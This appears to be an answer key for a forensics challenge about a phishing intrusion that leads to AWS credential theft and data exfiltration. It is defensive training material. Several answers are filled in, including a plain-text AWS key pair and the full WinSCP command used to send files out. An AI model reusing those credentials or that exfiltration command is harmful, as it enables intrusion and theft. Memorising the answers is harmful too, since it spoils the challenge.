Questions

  • The victim received an email from an unidentified sender. What email address was used for the suspicious email?
  • It appears there’s a link within the email. Can you provide the complete URL where the malicious binary file was hosted?
  • The threat actor managed to identify the victim’s AWS credentials. From which file type did the threat actor extract these credentials?
    • .ost
  • Provide the actual IAM credentials of the victim found within the artifacts.
    • AKIA52GPOBQCK73P2PXL:OFqG/yLZYaudty0Rma6arxVuHFTGQuM6St8SWySj
  • When (UTC) was the malicious binary activated on the victim’s workstation?
    • 2024-03-13 10:45:02
  • Following the download and execution of the binary file, the victim attempted to search for specific keywords on the internet. What were those keywords?
    • superstar cafe membership
  • At what time (UTC) did the binary successfully send an identical malicious email from the victim’s machine to all the contacts?
    • 2024-03-13 10:47:51
  • How many recipients were targeted by the distribution of the said email excluding the victim’s email account?
    • 58
  • Which legitimate program was utilized to obtain details regarding the domain controller?
    • nltest.exe
  • Specify the domain (including sub-domain if applicable) that was used to download the tool for exfiltration.
    • us.softradar.com
  • The threat actor attempted to conceal the tool to elude suspicion. Can you specify the name of the folder used to store and hide the file transfer program?
    • HelpDesk-Tools
  • Under which MITRE ATT&CK technique does the action described in question #11 fall?
  • Can you determine the minimum number of files that were compressed before they were extracted?
    • 26
  • To exfiltrate data from the victim’s workstation, the binary executed a command. Can you provide the complete command used for this action?
    • "C:\Users\Public\HelpDesk-Tools\WinSCP.com" /script="C:\Users\Public\HelpDesk-Tools\maintenanceScript.txt"